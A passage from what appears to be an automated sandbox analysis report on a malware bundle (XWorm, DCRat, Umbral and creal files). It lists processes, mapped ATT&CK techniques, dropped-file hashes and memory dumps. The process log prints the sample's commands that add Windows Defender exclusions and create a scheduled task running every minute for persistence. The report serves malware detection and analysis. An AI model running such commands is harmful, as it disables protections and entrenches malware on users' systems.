    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\BSOD.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BSOD.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4996
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "BSOD" /tr "C:\Users\Public\BSOD.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1576
- C:\Windows\XWorm.exe
  "C:\Windows\XWorm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3524

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2116

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:4244

C:\Windows\SysWOW64\Taskmgr.exe
"C:\Windows\SysWOW64\Taskmgr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2312

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:1044

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\crautofill.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
33daeac37606b4fdcda332c691ad01e3

SHA1
4c83b1c8b700f10d458d824552ee8d6cd7460c9d

SHA256
d738fbb9ab8cb519bf8d2cf376cef7ec1b39cbd135595a75faed8425026c4b34

SHA512
e9d8d2d7296d660285cd5fb43add9faa955b36356861a3e2d1caeb9ff923707ea919d52e317d798406ef826690217963b61f127576388296f842761d0d77a445

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatFILE.exe

Filesize
72KB

MD5
2c7d37e90dd8ab57d06dad5bc7956885

SHA1
da789c107c4c68b8250b6589e45e5a3cf7a9a143

SHA256
5ede5d774ab65f25357cf5a1fa5e354f6f2a9868651a0fa717485802b21b1939

SHA512
e74ae891771bfd9c6fcdfbe8e4f33f0d5f7c3457cd84b257500cdaf8fa8b16fe458a18db9b3a60591465982fc2871f4c3f2e7541c765f00a0516f805e7e9ca0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
228KB

MD5
7490f7cc7fe56a351ec6228d6f976b7e

SHA1
25d3d77daf555fafa4ee74bf2552c803ddef0316

SHA256
fdea303425206b38a5f142cf735dd2728bb4ac7665b8172f620166f0a982d756

SHA512
33121e5bb96dcfc6cd59a404b5e04d590b6595ffa5b90313581ad53d92be7bba3375602fd1e9219d60aba220048b928ef0c3539bde87545d922847b666c12b37

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWorm.exe

Filesize
76KB

MD5
22a651585671941246f81eabab2cb188

SHA1
dcb70291a0efcf53506cb357b44aec24e9bc3f52

SHA256
5673aa81d09dc3c06b606e056e02b8488591620d7119e8e296fdec6994c7755e

SHA512
24f68d8a7961cde225a22c28515cd9bc3d3479243ba73ea9601faa323dbf657eb7ae77194d8b1cd52dae3d84b5604881d169dafdfbcfb8d02b22c030298aff7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\VCRUNTIME140.dll

Filesize
93KB

MD5
ade7aac069131f54e4294f722c17a412

SHA1
fede04724bdd280dae2c3ce04db0fe5f6e54988d

SHA256
92d50f7c4055718812cd3d823aa2821d6718eb55d2ab2bac55c2e47260c25a76

SHA512
76a810a41eb739fba2b4c437ed72eda400e71e3089f24c79bdabcb8aab0148d80bd6823849e5392140f423addb7613f0fc83895b9c01e85888d774e0596fc048

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\VCRUNTIME140_1.dll

Filesize
35KB

MD5
4dc09ca657822c2e8160255f767597df

SHA1
d1a553e6cad4600020113fe2887f5deb0db588c8

SHA256
922124ba0821aa864a0261ed88bd25f8e40f94c24d00d389e23cd9ab2bfc6ba4

SHA512
1504a4c32aefb58b20bfeab4f6e45ddb1b4feb08cfc9b6098b0e0b8d770d2ec5cd53a0506f212a2d4f406a1f6aae5bb03bfe8b87f55a61671e9cbbf684d77e19

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_bz2.pyd

Filesize
85KB

MD5
0083b7118baca26c44df117a40b8e974

SHA1
218176d616a57fd2057a34c98f510ac8b7d0f550

SHA256
e1f791a3f5e277880d56f21006cec8e0b93ca50cd4464b2b4c6e88ab3ca5234d

SHA512
e093937e4f1c8e3c321e2059a3dda703f0d3df88deba2b15656bca87a258a9cd4dc677859cb1879157d4e60e10efb4d35c402135960ef2afddfef9c388077b85

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_cffi_backend.cp38-win_amd64.pyd

Filesize
177KB

MD5
77b5d28b725596b08d4393786d98bd27

SHA1
e3f00478de1d28bc7d2e9f0b552778be3e32d43b

SHA256
f7a00ba343d6f1ea8997d95b242fbbd70856ec2b98677d5f8b52921b8658369c

SHA512
d44415d425f7423c3d68df22b72687a2d0da52966952e20d215553aa83de1e7a5192ec918a3d570d6c2362eb5500b56b87e3ffbc0b768bfa064585aea2a30e9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_ctypes.pyd

Filesize
123KB

MD5
9755d3747e407ca70a4855bc9e98cfb9

SHA1
5a1871716715ba7f898afaae8c182bd8199ed60a

SHA256
213937a90b1b91a31d3d4b240129e30f36108f46589ba68cd07920ce18c572c2

SHA512
fb2d709b4a8f718c1ab33a1b65ac990052e3a5a0d8dd57f415b4b12bce95189397bfddb5fb3a7fc1776c191eb92fd28e3aaebbebdf1024ecd99e412376ca4467

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_decimal.pyd

Filesize
262KB

MD5
b6bd7872e7f4c5020bf14906831aec73

SHA1
63911584ea66607c665319dc2143b3c6f92a6aff

SHA256
d0578670b5971f24df1a74c2d33596acaac0d56ef974d178f2744ae1773a6aff

SHA512
86480d265b5dc94e53a53a444a4a23bfc1eae6ac1a9532eb0355759c23072589ed7904807d511f16ff98a0c3499de675c1abfcfe531ec2d02f0b065cbc28452b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_hashlib.pyd

Filesize
46KB

MD5
f6f10f79867e33929e8c3263beaee423

SHA1
91ed04e12da5e5bed607f1957ede5057d78c275f

SHA256
c66d0a524a9d6c7f110273ffb14fb0ead440bf42f7a3957554f8b053331a7c3c

SHA512
30004621f7ee267e18987922b3e4243da6080cc7fcff8caa9cc8fdf795ba156ffba8c163a621959c2696cea6835398b046ff3175c0d02154532a93395391124b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_lzma.pyd

Filesize
159KB

MD5
e63bf80e04ae950ef22d8fc100d6495f

SHA1
f2340ecaa46cb1737abcb19dbab6de9e3cbc51d7

SHA256
f4016a1a8eb34aaf4f20d6c2fdbb02992cc5125f5c32f0335c6dfbeedb9add5c

SHA512
cd70c7c99e5fb131567aa2213abd5f811e2a271ac12a2210be6a04728c696c407814e4535e7ca19ca86a2d3311d822cc6985864a2e178e1b36faf6bc828e621f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_multiprocessing.pyd

Filesize
29KB

MD5
18fd166504c6bd1f60ad3b903e602532

SHA1
019ff28a64b4e1e227d1ee536a8774e441ebaf44

SHA256
a50e38ab8b6c4bfb834c047142f69a08d18a0bcc2f84a5ee81c5627ff5156618

SHA512
5ba1b75f24da3ff4b1babc4bf4ed039e42cea2c2c7dbcf7c9686050c21c3864c576ad80a11cbf47f4bc4073e8ad343ffe9702407a4fd92b07bbf88930596d6bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_queue.pyd

Filesize
28KB

MD5
25e90e7317853c3807893591d72c1c11

SHA1
d6df3b4dd8c6235f263b637ec4646b56c9c977b2

SHA256
72584c4be4e56b0c26023a30385e90a1b5ac3a8d559007d90da11e5262ec7b76

SHA512
6130e9631465ec7b5bc65e29dd23ea99846baf34b55c69b86774e586c193eea2b4c0557f0d3980b317fece7eb1b9a2f612eb48697b5c61850baf16dbcc3f5a87

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_socket.pyd

Filesize
77KB

MD5
ee5c9250e766a02aa745a0d1493a387c

SHA1
0e6e86b7cda5f99e719dab8bdcae21558e7def10

SHA256
28b23ef979ff75b3cc44fce358b7ed087488105e3186249163504cd719567ccf

SHA512
ba4ad7d081b307f220212a9fbf982f925ac742eec64b3c9ed2bdbf3d06a589b1acc992d9585dec077de3b7f9e814a7115470a89307123491a3aff0ac3d795419

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_sqlite3.pyd

Filesize
87KB

MD5
bace6fe8622990c0c9cca00e516f2d08

SHA1
783a36cc60eb14b67b487aecb8b52eae25c9cdd3

SHA256
e6eec0c9672cb975c2688f1b4debff2be2347dd437057411ec591228730cc690

SHA512
23cd846a654b6ebd557bb261c02664afda7a46980bf9033d0ad40c4730a98eaf266ce9846f6fd64ee3fc871626cda2f596ead66451cab94972565753627ff911

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\_ssl.pyd

Filesize
151KB

MD5
ce0ef7db1b5ec4211c901ef0ccc4c168

SHA1
da92022e89b5c6e4d7b0ce704cfba1ba0f50d20e

SHA256
bbcc8078d2624506bd33ed25a64230f9be74e7ff87faef517ab28e2f63f5e77a

SHA512
0c50bb2d47b0252419a1f7d58512cf2bdfc024b3f9dbbd44cd989d6e9e5d493631404b251afe0ce888ff61ed45c29c378b94801660d0429368df902f2eebb481

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\base_library.zip

Filesize
824KB

MD5
fae21bd1569fa2a63fb4b7a16e777208

SHA1
98e03e2ccb2425ca112ad20db949f763beb38611

SHA256
dbb6ff0ef96b8d93555d669f8f4775a9852156c6b3c1574a4cee4f6d2ad8f975

SHA512
68139b79a2026dd1d9bbb1eb73780abe5660d1efbda7870b557baabcbb46817b25958701725f122bfa3226c377559fa159ac9ec7dbdfbbd05401c644059703fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\certifi\cacert.pem

Filesize
284KB

MD5
181ac9a809b1a8f1bc39c1c5c777cf2a

SHA1
9341e715cea2e6207329e7034365749fca1f37dc

SHA256
488ba960602bf07cc63f4ef7aec108692fec41820fc3328a8e3f3de038149aee

SHA512
e19a92b94aedcf1282b3ef561bd471ea19ed361334092c55d72425f9183ebd1d30a619e493841b6f75c629f26f28dc682960977941b486c59475f21cf86fff85

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\charset_normalizer\md.cp38-win_amd64.pyd

Filesize
10KB

MD5
38105df780eddd734027328e0dca0ca3

SHA1
45f1d9e3472478f8e1ba86675f5c81c00b183bea

SHA256
9512896233d2119e78e2e1fcfd83643b2be2b427f08d16fc568fe98b9d4913cb

SHA512
ba2a05c236ce47d87888f618be2b23532d0d882578707b07ae220a96883b468f7088a19ebbe3bac2adf4035da6b7ee6fa9e57b620e2bc67b28e54cd969d6bbb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\charset_normalizer\md__mypyc.cp38-win_amd64.pyd

Filesize
116KB

MD5
073f09e1edf5ec4173ce2de1121b9dd1

SHA1
6cdb2559a1b706446cdd993e6fd680095e119b2e

SHA256
7412969bfe1bca38bbb25bab02b54506a05015a4944b54953fcfdb179ec3f13c

SHA512
70a1a766001ec78a5fce7eadf6cae07f11b3ca6b08115e130c77d024524879577ccab263c596102102b1569933c601592fbb5ee07c7db123bb850965ef8e8e96

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\libcrypto-1_1.dll

Filesize
3.2MB

MD5
89511df61678befa2f62f5025c8c8448

SHA1
df3961f833b4964f70fcf1c002d9fd7309f53ef8

SHA256
296426e7ce11bc3d1cfa9f2aeb42f60c974da4af3b3efbeb0ba40e92e5299fdf

SHA512
9af069ea13551a4672fdd4635d3242e017837b76ab2815788148dd4c44b4cf3a650d43ac79cd2122e1e51e01fb5164e71ff81a829395bdb8e50bb50a33f0a668

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\libffi-7.dll

Filesize
32KB

MD5
eef7981412be8ea459064d3090f4b3aa

SHA1
c60da4830ce27afc234b3c3014c583f7f0a5a925

SHA256
f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081

SHA512
dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\libssl-1_1.dll

Filesize
674KB

MD5
50bcfb04328fec1a22c31c0e39286470

SHA1
3a1b78faf34125c7b8d684419fa715c367db3daa

SHA256
fddd0da02dcd41786e9aa04ba17ba391ce39dae6b1f54cfa1e2bb55bc753fce9

SHA512
370e6dfd318d905b79baf1808efbf6da58590f00006513bdaaed0c313f6fa6c36f634ea3b05f916cee59f4db25a23dd9e6f64caf3c04a200e78c193027f57685

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\pyexpat.pyd

Filesize
187KB

MD5
a9e03036e55c680004576490efa6a792

SHA1
8a1948f1ba8b4bb9e34f29eade786fc85949d74c

SHA256
70fe25f01eafbf730deb95fd101b220149bb2eeea690b24b20f6f4bcdb0f04ed

SHA512
fa664233ceaa848901d19091f01cbd3ada8dd1a30de352dca693c4394e243941405edb0fe09fc9fb404fe18a5455c78aa8ce64f7037e63ac9574c2aec5ee4267

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\python3.dll

Filesize
58KB

MD5
ff2c3e3b0becea495d9078a8a623c604

SHA1
c0ee5a5c5c758622386719da3cf6d11a320c804b

SHA256
031421c1061bd0fed1975dab16f67228b925302a74ceeda79324a9cdd943f32d

SHA512
5313132032c0eea338e0c8c6fdba68d694ab30ff908d0093c926e3744a2bfaf0a1cca13c305a4d5fcb01c1a20bb7f48654fd93218d30a04e34b6fcf0e308e675

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\python38.dll

Filesize
4.0MB

MD5
c381edf39a0c3ed74f1df4a44fbab4ba

SHA1
688af6616d5f2f67ff9f49dc6790583825fb82ab

SHA256
f8c622753feb3cec062a535f2a285b17f6d118fee0bf8ed5a2f3d06ca53e729d

SHA512
88abc4ef225593e176050a6526b4873c08aca3b464616b502e64e7995368e82ec413cdf9e0bc8902994b2be25aa0aaf2e5135977599e57a0e8e1809f2b67eeec

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\pywin32_system32\pythoncom38.dll

Filesize
691KB

MD5
597955a07be4ae08f3b09adbf996fa83

SHA1
3817e541646fd3cdd7a8256a1260f6edfe7dd0c0

SHA256
ddfc515aea27ec414cfc84bef385711c82f0618f482df9d262c490226d7fa9d7

SHA512
485efaecb8ea5b2d4644d9ab0927b636f7ab6d660da04b088e26452a28b5b11bccee9724cb625a7d5bde3fa5909aa32f3568909965439a06d3dfc0b7e345c941

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\pywin32_system32\pywintypes38.dll

Filesize
139KB

MD5
f60da44a33910eda70d838d7635d8fb1

SHA1
c35b4cf47349888384729386c74c374edb6f6ff3

SHA256
13934599ff931f97e8eac6106dc67d54609befd0b0e653b46f6c25b18830c572

SHA512
3c57ed384c23c89f99708bdf688ebd28629e84df8756e7b64dfa8b6e0b52beefb0c62de820f2c72e5679b7632279dcb414a781cfd2c5c9654d09d9da24fa17b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\select.pyd

Filesize
27KB

MD5
6e3e3565f98e23bee501c54a4b8833db

SHA1
a4c9ecbd00c774e210eb9216e03d7945b3406c2c

SHA256
71a2198c2f9c8cb117f3ea41dc96b9ae9899f64f21392778d1516986f72d434b

SHA512
359aac4a443a013f06295e1a370f89d4452ea75fd2d11776f4eccf605b59caf529baffdcc3cef3eeb59e44a42beaf927bed908b507ac479cccc870768a620fed

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\sqlite3.dll

Filesize
1.4MB

MD5
7bff7832f9e14b9765dc4a292e734db9

SHA1
53468eec966042756f42cdedfb5f694301a9731d

SHA256
3d9f46abd55fb2371c1e8d4fccafe98088732acee155c6245e34817124b887b2

SHA512
f84d493c2b0a4b58dcc8fc95adfefe0de792096fb7ee960b0fa5dd2fe4c4e76bda45976a34ea09369860b5f837542ba5d0dee32db15041f531625a94a6f287fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\unicodedata.pyd

Filesize
1.0MB

MD5
0a22c143ab1dbd20e6ed6a4cb5fe1e43

SHA1
2eb837eb204d7467caad4a82e7b9932553cc9011

SHA256
d0b8deabc7bc531c0c45f17ffc75c55b1ac9ff71347b74753096050eec6235db

SHA512
8a48246bbf1dfbae63aafca8bb9ae5c14c9dbb60dcc43a1030d7ea11033cba8d6e780ab9620eeadf303f5a3a9167bddec4b2fa23dbe526b95db5c297c9f688d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI21322\win32\win32api.pyd

Filesize
138KB

MD5
57be78d0f2a66700600266ebc86c9b3c

SHA1
a47987d476cb9c76698890405e0b65aa10e07169

SHA256
9ab2b3a63bf2d0ef5ff3412c0b000756677810f3aa60a10bf62bb92c9f9b6ee2

SHA512
98c2a2e48adfae6c7d3c7d6731e688a27fc1eb6675760ab44f78e4eedebf88b09e425d21baf5674d402f9cfc9d7ebc6d643f8c763c8db5f6b1f8bf83681c256c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cnfvblqe.qgu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\creal.exe

Filesize
16.1MB

MD5
b25a92bdbed301fae7d1857629ef0c37

SHA1
8a8626af07230ee969afbac4fce8003090951bc8

SHA256
1ffd509b527ebe41daa3dcbb2becb17792d3a07c980308fb0f264c5ab3f6458e

SHA512
3c0d630445ca38482868730403a544b5b8b232f11016d0f04423872d7a90a4645fbc135ada45cb3f91b96762c3e94aa2132a00b60740264fe8954a34130327f9

Download Submit
C:\Users\Admin\AppData\Local\Tempcrbccpkemi.db

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Tempcrdmczefhh.db

Filesize
46KB

MD5
14ccc9293153deacbb9a20ee8f6ff1b7

SHA1
46b4d7b004ff4f1f40ad9f107fe7c7e3abc9a9f3

SHA256
3195ce0f7aa2eae2b21c447f264e2bd4e1dc5208353ac72d964a750de9a83511

SHA512
916f2178be05dc329461d2739271972238b22052b5935883da31e6c98d2697bd2435c9f6a2d1fcafb4811a1d867c761055532669aac2ea1a3a78c346cdeba765

Download Submit
C:\Users\Admin\AppData\Local\Tempcreoosjdln.db

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Tempcrufmpdfcd.db

Filesize
112KB

MD5
87210e9e528a4ddb09c6b671937c79c6

SHA1
3c75314714619f5b55e25769e0985d497f0062f2

SHA256
eeb23424586eb7bc62b51b19f1719c6571b71b167f4d63f25984b7f5c5436db1

SHA512
f8cb8098dc8d478854cddddeac3396bc7b602c4d0449491ecacea7b9106672f36b55b377c724dc6881bee407c6b6c5c3352495ed4b852dd578aa3643a43e37c0

Download Submit
C:\Users\Admin\AppData\Local\Tempcrwsnvznnn.db

Filesize
114KB

MD5
d780b7995f84e5487be452d63157855b

SHA1
7df258685a42cb5cbff54aca7a8f347f16397ea6

SHA256
cc4eb56ac9e6043d5476d834932ef8eb9cfd4abaabe88ed9f6afdc5b70d42619

SHA512
d58077340001c6a1bd2b3280316a668c87e3dc8a4c7a1f8ff362bc29436ba4a214b3157474546b9876db2144fb4b570d6d7ef66d84481072996ef1760fe6fdb5

Download Submit
memory/388-144-0x000001FD21F90000-0x000001FD22200000-memory.dmp

Filesize
2.4MB

Download
memory/388-133-0x000001FD20690000-0x000001FD20691000-memory.dmp

Filesize
4KB

Download
memory/388-16-0x000001FD21F90000-0x000001FD22200000-memory.dmp

Filesize
2.4MB

Download
memory/1628-277-0x000001D53F3C0000-0x000001D53F3CC000-memory.dmp

Filesize
48KB

Download
memory/1832-230-0x0000028B31960000-0x0000028B31982000-memory.dmp

Filesize
136KB

Download
memory/2312-475-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-471-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-474-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-472-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-469-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-464-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-465-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-470-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-463-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2312-473-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2320-118-0x0000000000400000-0x0000000001496000-memory.dmp

Filesize
16.6MB

Download
memory/2400-246-0x000002793FCE0000-0x000002793FCFE000-memory.dmp

Filesize
120KB

Download
memory/2400-244-0x0000027958520000-0x0000027958596000-memory.dmp

Filesize
472KB

Download
memory/2400-245-0x00000279585A0000-0x00000279585F0000-memory.dmp

Filesize
320KB

Download
memory/2400-340-0x000002793FCC0000-0x000002793FCCB000-memory.dmp

Filesize
44KB

Download
memory/2400-301-0x000002793FD20000-0x000002793FD2A000-memory.dmp

Filesize
40KB

Download
memory/2400-302-0x00000279585F0000-0x0000027958602000-memory.dmp

Filesize
72KB

Download
memory/2400-84-0x000002793DD60000-0x000002793DDA0000-memory.dmp

Filesize
256KB

Download
memory/3468-287-0x000002BA68270000-0x000002BA6827C000-memory.dmp

Filesize
48KB

Download
memory/3552-299-0x000001F267620000-0x000001F26762C000-memory.dmp

Filesize
48KB

Download
memory/3760-8-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/4536-297-0x000001BFA77A0000-0x000001BFA77AC000-memory.dmp

Filesize
48KB

Download
memory/5012-131-0x0000000000370000-0x000000000038A000-memory.dmp

Filesize
104KB

Download